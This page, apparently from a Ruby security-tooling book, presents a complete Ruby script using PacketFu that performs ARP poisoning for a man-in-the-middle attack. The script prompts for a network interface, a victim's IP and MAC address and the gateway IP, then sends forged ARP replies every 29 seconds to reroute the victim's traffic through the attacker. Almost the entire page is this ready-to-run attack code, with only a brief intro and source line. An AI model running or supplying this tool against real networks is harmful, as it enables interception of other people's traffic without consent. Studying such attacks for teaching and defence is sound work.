MiTM Attack
Example of a more elaborate MiTM attack using ARP Poisoning with PacketFU and socket using source code in this book as base.
1
require 'packetfu'
2
require 'socket'
3
4
def poison(lip, lmac, vip, vmac, rip, int_name)
5
puts "Sending ARP Packet Spoof Every 29 Seconds…"
6
x = PacketFu::ARPPacket.new(:flavor => "Linux")
7
x.eth_saddr = lmac # your MAC Address
8
x.eth_daddr = vmac # victim MAC Address
9
x.arp_saddr_mac = lmac # your MAC Address
10
x.arp_daddr_mac = vmac # victim MAC Address
11
x.arp_saddr_ip = rip # Router IP Address
12
x.arp_daddr_ip= vip # Victim IP Address
13
x.arp_opcode = 2 # ARP Reply Code
14
while true do
15
x.to_w(int_name) # Put Packet to wire interface
16
sleep(29) # interval in seconds, change for your preference
17
end
18
end
19
20
def get_ifconfig(int_name)
21
int_config = PacketFu::Utils.whoami?(:iface => int_name)
22
return int_config[:ip_saddr], int_config[:eth_saddr]
23
end
24
25
def get_victim_info
26
puts "enter victim ip"
27
vip = gets
28
puts "enter victim MAC"
29
vmac = gets
30
puts "enter gateway ip"
31
rip = gets
32
return vip, vmac, rip
33
end
34
35
# need to be root to run this
36
unless Process.uid.zero?
37
puts "you need to run this script as root!"
38
exit 0
39
end
40
41
# select interface to use and start setup
42
interfaces = Socket.getifaddrs.map { |i| i.name }.compact.uniq
43
list = Hash[(0...interfaces.size).zip interfaces]
44
list.each do |l, v|
45
puts "#{l} #{v}"
46
end
47
48
puts "enter interface number to use on MITM"
49
int_number = gets
50
if list.key?(int_number.to_i)
51
lip, lmac = get_ifconfig(list.fetch(int_number.to_i))
52
vip, vmac, rip = get_victim_info()
53
poison(lip, lmac, vip, vmac, rip, list.fetch(int_number.to_i))
54
else
55
puts "Selected interface does not exists"
56
end
Copied!
Source: Ruby-MiTM and Rubyfu ARP Spoofing topic.
Last modified 3yr ago
Copy link